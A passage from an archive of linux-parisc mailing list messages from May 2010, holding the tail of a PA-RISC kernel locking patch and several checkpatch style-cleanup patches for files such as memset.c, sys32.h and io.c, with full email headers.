+	be,n	0(%sr7, %r31)
 
 
 	
@@ -529,7 +525,6 @@ lws_compare_and_swap32:
 #endif
 
 lws_compare_and_swap:
-#ifdef CONFIG_SMP
 	/* Load start of lock table */
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
@@ -572,8 +567,6 @@ cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
-#endif
-/* CONFIG_SMP */
 
 	/*
 		prev = *addr;
@@ -601,13 +594,11 @@ cas_action:
 1:	ldw	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
 2:	stw	%r24, 0(%sr3,%r26)
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	/* Return to userspace, set no error */
 	b	lws_exit
@@ -615,12 +606,10 @@ cas_action:
 
 3:		
 	/* Error occured on load or store */
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
@@ -672,7 +661,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
@@ -694,8 +682,6 @@ ENTRY(lws_lock_start)
 	.endr
 END(lws_lock_start)
 	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
 
 .end
 
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8b58bf0..804b024 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -47,7 +47,7 @@
 			  /*  dumped to the console via printk)          */
 
 #if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
-DEFINE_SPINLOCK(pa_dbit_lock);
+DEFINE_SPINLOCK(pa_pte_lock);
 #endif
 
 static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 353963d..bae6a86 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -15,6 +15,9 @@
 arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
 	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
 };
+arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
+};
 #endif
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 3ca1c61..27a7492 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -342,6 +342,7 @@ decode_fpu(unsigned int Fpu_register[], unsigned int trap_counts[])
 		return SIGNALCODE(SIGFPE, FPE_FLTINV);
 	  case DIVISIONBYZEROEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
+		Clear_excp_register(exception_index);
 	  	return SIGNALCODE(SIGFPE, FPE_FLTDIV);
 	  case INEXACTEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
diff --git a/mm/memory.c b/mm/memory.c
index 09e4b1b..21c2916 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	 * in the parent and the child
 	 */
 	if (is_cow_mapping(vm_flags)) {
-		ptep_set_wrprotect(src_mm, addr, src_pte);
+		ptep_set_wrprotect(vma, src_mm, addr, src_pte);
 		pte = pte_wrprotect(pte);
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 172/199] arch/parisc/kernel/pa7300lc.c: Checkpatch cleanup
Date: Sun, 23 May 2010 22:01:59 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <1274644930-26600-15-git-send-email-andrea.gelmini@gelma.net>
References: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1274644967 5589 80.91.229.12 (23 May 2010 20:02:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 20:02:47 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 22:02:45 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGHNj-0003OA-K7
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 22:02:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754563Ab0EWUCn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 16:02:43 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.153]:10127 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754313Ab0EWUCm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 16:02:42 -0400
Original-Received: by fg-out-1718.google.com with SMTP id d23so1668454fga.1
        for <linux-parisc@vger.kernel.org>; Sun, 23 May 2010 13:02:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=gJB5kRokjQTwee3poUhA3CdblkrxcOr56FC1/Y4GLAw=;
        b=ey9TClFYwbtTK/ULNF10zNPcVBmttVCM4n6mlxGZOFhI3ulQTXnJZz4dnPvDc7CbMh
         Diunx6vTQQaPRYvMPYViCHXyCJ5Y4jzLiFcmBNT+leNxpAlp0q0HiHaDQTGBPdVzksWd
         RRbSnCnapp5qygmxYzbbsZxGLymR1ZkPV7RlM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=o1f8I8344d2lJk13kWiLIk0cp8h2MVdOMnXtDBYLmVie5xSJRWOnIkwzBeBcAvO9B+
         aMfxY+Lt8OjcoWwKFh875JJAX5iq8VNrUDTteKn0aaZjz8Y2C+fd9lEXDB/GoQbz6nLT
         0ON//q/8qv0W8N1lqF0HNcXRQr1x9gcLUOQEA=
Original-Received: by 10.87.47.6 with SMTP id z6mr7259750fgj.13.1274644961834;
        Sun, 23 May 2010 13:02:41 -0700 (PDT)
Original-Received: from localhost.localdomain (net-93-145-200-9.t2.dsl.vodafone.it [93.145.200.9])
        by mx.google.com with ESMTPS id d8sm7928329fga.11.2010.05.23.13.02.40
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 23 May 2010 13:02:41 -0700 (PDT)
X-Mailer: git-send-email 1.7.1.251.gf80a2
In-Reply-To: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2876
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2876>

arch/parisc/kernel/pa7300lc.c:3: ERROR: trailing whitespace

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/kernel/pa7300lc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/pa7300lc.c b/arch/parisc/kernel/pa7300lc.c
index 8a89780..fa6ca3a 100644
--- a/arch/parisc/kernel/pa7300lc.c
+++ b/arch/parisc/kernel/pa7300lc.c
@@ -1,6 +1,6 @@
 /*
  *   linux/arch/parisc/kernel/pa7300lc.c
- *	- PA7300LC-specific functions	
+ *	- PA7300LC-specific functions
  *
  *   Copyright (C) 2000 Philipp Rumpf */
 
-- 
1.7.1.251.gf80a2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 173/199] arch/parisc/kernel/sys32.h: Checkpatch cleanup
Date: Sun, 23 May 2010 22:02:00 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <1274644930-26600-16-git-send-email-andrea.gelmini@gelma.net>
References: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1274644969 5596 80.91.229.12 (23 May 2010 20:02:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 20:02:49 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 22:02:47 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGHNl-0003OA-9D
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 22:02:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754591Ab0EWUCo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 16:02:44 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.158]:43949 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754313Ab0EWUCo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 16:02:44 -0400
Original-Received: by fg-out-1718.google.com with SMTP id 22so1027829fge.1
        for <linux-parisc@vger.kernel.org>; Sun, 23 May 2010 13:02:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=I34NzxmbNebXVZYYqNnM5F4DCcTjqgoJPmXb4Tb3Mlc=;
        b=vqofszVrbSVmHhWmHwjzjk/pCkxLBWm6uwoElgpLTaYeh94mTvmHD36y2LTOEuLVVv
         peYIA8kDv5XZKJkmPaCWP9Uo+A3R+sGsmC29CJzPPA88KQG5cZPGMecXcr0O8mvB0XAr
         JiDmc1EgD1fzdLMhCTvJR5PnFEalIHz4ZrWeA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=jtBaSFsXpYQLgBsN5hOerJiyeChoXDC1PBRGXBr1PbRKCU47n0nmeY8IfJyGTOMkqa
         y8T9ENnavOdasBirXIM/taqDgNZkl/MrReQL5df4vSZ1V3QI1EAi2AMFSTgZaKjVpWGz
         g8KxJ4zoB4C2ULd4WA66UkEeeoLIFPQNHmrVM=
Original-Received: by 10.86.124.35 with SMTP id w35mr7217046fgc.49.1274644963778;
        Sun, 23 May 2010 13:02:43 -0700 (PDT)
Original-Received: from localhost.localdomain (net-93-145-200-9.t2.dsl.vodafone.it [93.145.200.9])
        by mx.google.com with ESMTPS id d8sm7928329fga.11.2010.05.23.13.02.42
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 23 May 2010 13:02:43 -0700 (PDT)
X-Mailer: git-send-email 1.7.1.251.gf80a2
In-Reply-To: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2877
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2877>

arch/parisc/kernel/sys32.h:1: ERROR: trailing whitespace
arch/parisc/kernel/sys32.h:33: WARNING: space prohibited between function name and open parenthesis '('

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/kernel/sys32.h |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/sys32.h b/arch/parisc/kernel/sys32.h
index 06c2090..4bcda8d 100644
--- a/arch/parisc/kernel/sys32.h
+++ b/arch/parisc/kernel/sys32.h
@@ -1,4 +1,4 @@
-/* 
+/*
  *    Copyright (C) 2002 Richard Hirst <rhirst at parisc-linux.org>
  *    Copyright (C) 2003 James Bottomley <jejb at parisc-linux.org>
  *    Copyright (C) 2003 Randolph Chung <tausq with parisc-linux.org>
@@ -30,7 +30,7 @@
     mm_segment_t old_fs = get_fs(); \
     set_fs(KERNEL_DS); \
     ret = syscall(args); \
-    set_fs (old_fs); \
+    set_fs(old_fs); \
 }
 
 #ifdef CONFIG_COMPAT
-- 
1.7.1.251.gf80a2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 175/199] arch/parisc/lib/memset.c: Checkpatch cleanup
Date: Sun, 23 May 2010 22:02:02 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <1274644930-26600-18-git-send-email-andrea.gelmini@gelma.net>
References: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1274644972 5607 80.91.229.12 (23 May 2010 20:02:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 20:02:52 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 22:02:51 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGHNq-0003OA-HI
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 22:02:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754670Ab0EWUCu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 16:02:50 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:58872 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754313Ab0EWUCt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 16:02:49 -0400
Original-Received: by fxm5 with SMTP id 5so1960255fxm.19
        for <linux-parisc@vger.kernel.org>; Sun, 23 May 2010 13:02:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=g5/FO5lBVvVyag5hGaMf8q3iv2FdhJNuls2F+Fdiekg=;
        b=tjK7PimIKkqE9NFE/g0xW+YC2/MZy7nIleXk5m5v5hn7/F6LR0maYLJZIAZY/b0FAG
         BQgGulRUjO1tCMjgMADRuRrHQ7YT+VlvCwc+CZTwUYbt4gV6eiTIxldjCGId6XpMmc8/
         z6nN2B2XSVBrZ8WPFNANE5wcPQvmenOmXYBtg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=T76FlxiIzFrQajdRxKI1je+bxUZWWGwKcpYlbElVXy6DdwmQ9BdEZVxDN0I5onlBCQ
         8S2HnPHzdDg/6ALTXVEFfhJwp70YPJm4ua7kab1aA/GI1fFvuN7MTXXsmpn86JyCT3Ac
         B3loQywOvIsK4c0j1DpBNgNSyJ2AFAh9TrrLw=
Original-Received: by 10.87.63.31 with SMTP id q31mr7279491fgk.18.1274644968183;
        Sun, 23 May 2010 13:02:48 -0700 (PDT)
Original-Received: from localhost.localdomain (net-93-145-200-9.t2.dsl.vodafone.it [93.145.200.9])
        by mx.google.com with ESMTPS id d8sm7928329fga.11.2010.05.23.13.02.46
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 23 May 2010 13:02:47 -0700 (PDT)
X-Mailer: git-send-email 1.7.1.251.gf80a2
In-Reply-To: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2878
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2878>

arch/parisc/lib/memset.c:28: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/memset.c:33: ERROR: that open brace { should be on the previous line
arch/parisc/lib/memset.c:33: WARNING: suspect code indent for conditional statements (2, 6)
arch/parisc/lib/memset.c:47: ERROR: that open brace { should be on the previous line
arch/parisc/lib/memset.c:47: WARNING: suspect code indent for conditional statements (6, 10)
arch/parisc/lib/memset.c:56: ERROR: that open brace { should be on the previous line
arch/parisc/lib/memset.c:56: WARNING: suspect code indent for conditional statements (6, 10)
arch/parisc/lib/memset.c:73: ERROR: that open brace { should be on the previous line
arch/parisc/lib/memset.c:73: WARNING: suspect code indent for conditional statements (6, 10)
arch/parisc/lib/memset.c:83: ERROR: that open brace { should be on the previous line
arch/parisc/lib/memset.c:83: WARNING: suspect code indent for conditional statements (2, 6)

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/lib/memset.c |   23 +++++++++--------------
 1 files changed, 9 insertions(+), 14 deletions(-)

diff --git a/arch/parisc/lib/memset.c b/arch/parisc/lib/memset.c
index 1d7929b..66e518f 100644
--- a/arch/parisc/lib/memset.c
+++ b/arch/parisc/lib/memset.c
@@ -25,13 +25,12 @@
 typedef unsigned long op_t;
 
 void *
-memset (void *dstpp, int sc, size_t len)
+memset(void *dstpp, int sc, size_t len)
 {
   unsigned int c = sc;
   long int dstp = (long int) dstpp;
 
-  if (len >= 8)
-    {
+  if (len >= 8) {
       size_t xlen;
       op_t cccc;
 
@@ -44,17 +43,15 @@ memset (void *dstpp, int sc, size_t len)
 
       /* There are at least some bytes to set.
 	 No need to test for LEN == 0 in this alignment loop.  */
-      while (dstp % OPSIZ != 0)
-	{
-	  ((unsigned char *) dstp)[0] = c;
-	  dstp += 1;
-	  len -= 1;
+	while (dstp % OPSIZ != 0) {
+		((unsigned char *) dstp)[0] = c;
+		dstp += 1;
+		len -= 1;
 	}
 
       /* Write 8 `op_t' per iteration until less than 8 `op_t' remain.  */
       xlen = len / (OPSIZ * 8);
-      while (xlen > 0)
-	{
+      while (xlen > 0) {
 	  ((op_t *) dstp)[0] = cccc;
 	  ((op_t *) dstp)[1] = cccc;
 	  ((op_t *) dstp)[2] = cccc;
@@ -70,8 +67,7 @@ memset (void *dstpp, int sc, size_t len)
 
       /* Write 1 `op_t' per iteration until less than OPSIZ bytes remain.  */
       xlen = len / OPSIZ;
-      while (xlen > 0)
-	{
+      while (xlen > 0) {
 	  ((op_t *) dstp)[0] = cccc;
 	  dstp += OPSIZ;
 	  xlen -= 1;
@@ -80,8 +76,7 @@ memset (void *dstpp, int sc, size_t len)
     }
 
   /* Write the last few bytes.  */
-  while (len > 0)
-    {
+  while (len > 0) {
       ((unsigned char *) dstp)[0] = c;
       dstp += 1;
       len -= 1;
-- 
1.7.1.251.gf80a2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 174/199] arch/parisc/lib/io.c: Checkpatch cleanup
Date: Sun, 23 May 2010 22:02:01 +0200
Lines: 459
Approved: news@gmane.org
Message-ID: <1274644930-26600-17-git-send-email-andrea.gelmini@gelma.net>
References: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1274644974 5614 80.91.229.12 (23 May 2010 20:02:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 23 May 2010 20:02:54 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: andrea.gelmini@gelma.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 23 22:02:51 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OGHNo-0003OA-1H
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 May 2010 22:02:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754686Ab0EWUCr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 May 2010 16:02:47 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.153]:10127 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754313Ab0EWUCr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 May 2010 16:02:47 -0400
Original-Received: by fg-out-1718.google.com with SMTP id d23so1668454fga.1
        for <linux-parisc@vger.kernel.org>; Sun, 23 May 2010 13:02:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=YlI0Vje7cxhu+n2EbeF4lKU+FlT95J9YISEZWH2hS+w=;
        b=jjxVOMMSu9ubOcMvJJR5yaDoFRaih4U6e0LHruxk6R1sHSHvjGl5hMG1nRyq+by5Bd
         jc7F/blpjM8QToIK+gHH7WrmRcrSQSAhazl9NSnQSCm++vZ/BeCw3cl3aOTpczQlBA6S
         8g54o+Fv3/xlg6Rf6ZcvIWKN6dbPuR5BjJwQQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=T6mACvekq7Ro4ZvMmIsm8v6+XuGtvw6O5gR4EDjIv0clxX/MkIUHRTg0piw+pDtE59
         KhDy6+T66A0zN6FpJkyKQ7KBf4y/1yqzyG80Z5pExyZVLSiMyeqQqKOcX/YLWeUDwQgV
         KyPLd2JvDncXySTV52XDDSbXVl/4VLkAwaK4M=
Original-Received: by 10.87.70.7 with SMTP id x7mr7164484fgk.77.1274644966069;
        Sun, 23 May 2010 13:02:46 -0700 (PDT)
Original-Received: from localhost.localdomain (net-93-145-200-9.t2.dsl.vodafone.it [93.145.200.9])
        by mx.google.com with ESMTPS id d8sm7928329fga.11.2010.05.23.13.02.44
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 23 May 2010 13:02:45 -0700 (PDT)
X-Mailer: git-send-email 1.7.1.251.gf80a2
In-Reply-To: <1274644930-26600-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2879>

arch/parisc/lib/io.c:55: ERROR: trailing whitespace
arch/parisc/lib/io.c:68: ERROR: trailing statements should be on next line
arch/parisc/lib/io.c:117: WARNING: braces {} are not necessary for single statement blocks
arch/parisc/lib/io.c:126: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:166: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:172: ERROR: trailing whitespace
arch/parisc/lib/io.c:175: ERROR: trailing whitespace
arch/parisc/lib/io.c:176: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:179: ERROR: spaces required around that '>=' (ctx:VxV)
arch/parisc/lib/io.c:180: ERROR: trailing whitespace
arch/parisc/lib/io.c:187: WARNING: braces {} are not necessary for single statement blocks
arch/parisc/lib/io.c:191: ERROR: trailing whitespace
arch/parisc/lib/io.c:196: ERROR: spaces required around that '>=' (ctx:VxV)
arch/parisc/lib/io.c:197: ERROR: trailing whitespace
arch/parisc/lib/io.c:204: WARNING: braces {} are not necessary for single statement blocks
arch/parisc/lib/io.c:208: ERROR: trailing whitespace
arch/parisc/lib/io.c:214: ERROR: trailing whitespace
arch/parisc/lib/io.c:218: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:238: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:244: ERROR: trailing whitespace
arch/parisc/lib/io.c:247: ERROR: trailing whitespace
arch/parisc/lib/io.c:248: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:251: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:257: ERROR: trailing whitespace
arch/parisc/lib/io.c:260: ERROR: trailing whitespace
arch/parisc/lib/io.c:264: ERROR: trailing whitespace
arch/parisc/lib/io.c:265: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:276: ERROR: trailing whitespace
arch/parisc/lib/io.c:282: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:293: ERROR: trailing whitespace
arch/parisc/lib/io.c:297: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:318: ERROR: "foo * bar" should be "foo *bar"
arch/parisc/lib/io.c:336: WARNING: space prohibited between function name and open parenthesis '('
arch/parisc/lib/io.c:342: ERROR: trailing whitespace
arch/parisc/lib/io.c:345: ERROR: trailing whitespace
arch/parisc/lib/io.c:346: ERROR: that open brace { should be on the previous line
arch/parisc/lib/io.c:349: ERROR: spaces required around that '>=' (ctx:VxV)
arch/parisc/lib/io.c:356: WARNING: braces {} are not necessary for single statement blocks
arch/parisc/lib/io.c:357: ERROR: "(foo*)" should be "(foo *)"
arch/parisc/lib/io.c:360: ERROR: trailing whitespace
arch/parisc/lib/io.c:362: ERROR: trailing whitespace
arch/parisc/lib/io.c:363: ERROR: "(foo*)" should be "(foo *)"
arch/parisc/lib/io.c:366: ERROR: trailing whitespace
arch/parisc/lib/io.c:367: ERROR: spaces required around that '>=' (ctx:VxV)
arch/parisc/lib/io.c:374: WARNING: braces {} are not necessary for single statement blocks
arch/parisc/lib/io.c:378: ERROR: trailing whitespace
arch/parisc/lib/io.c:379: ERROR: trailing whitespace
arch/parisc/lib/io.c:382: ERROR: trailing whitespace
arch/parisc/lib/io.c:386: ERROR: that open brace { should be on the previous line
